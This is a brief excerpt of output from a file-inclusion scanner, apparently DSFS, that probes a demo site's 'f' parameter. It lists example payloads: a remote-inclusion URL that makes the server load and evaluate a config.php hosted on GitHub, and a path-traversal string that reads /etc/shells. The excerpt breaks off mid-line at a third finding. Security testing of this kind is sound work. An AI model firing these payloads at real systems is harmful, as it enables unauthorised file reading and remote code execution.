* scanning GET parameter 'f'
 (i) GET parameter 'f' appears to be (R)FI vulnerable (e.g.: 'http://fidemo.cu.c
c/fi.php?f=https%3A%2F%2Fraw.githubusercontent.com%2Fstamparm%2FDSFS%2Fmaster%2F
files%2Fconfig.php')
  (!) content seems to be dynamically evaluated
 (i) GET parameter 'f' appears to be (L)FI vulnerable (e.g.: 'http://fidemo.cu.c
c/fi.php?f=..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshells')
 (i) GET parameter 'f' appears to be (S)FI vulnerable (e.g.: 'http://fidemo.cu.c
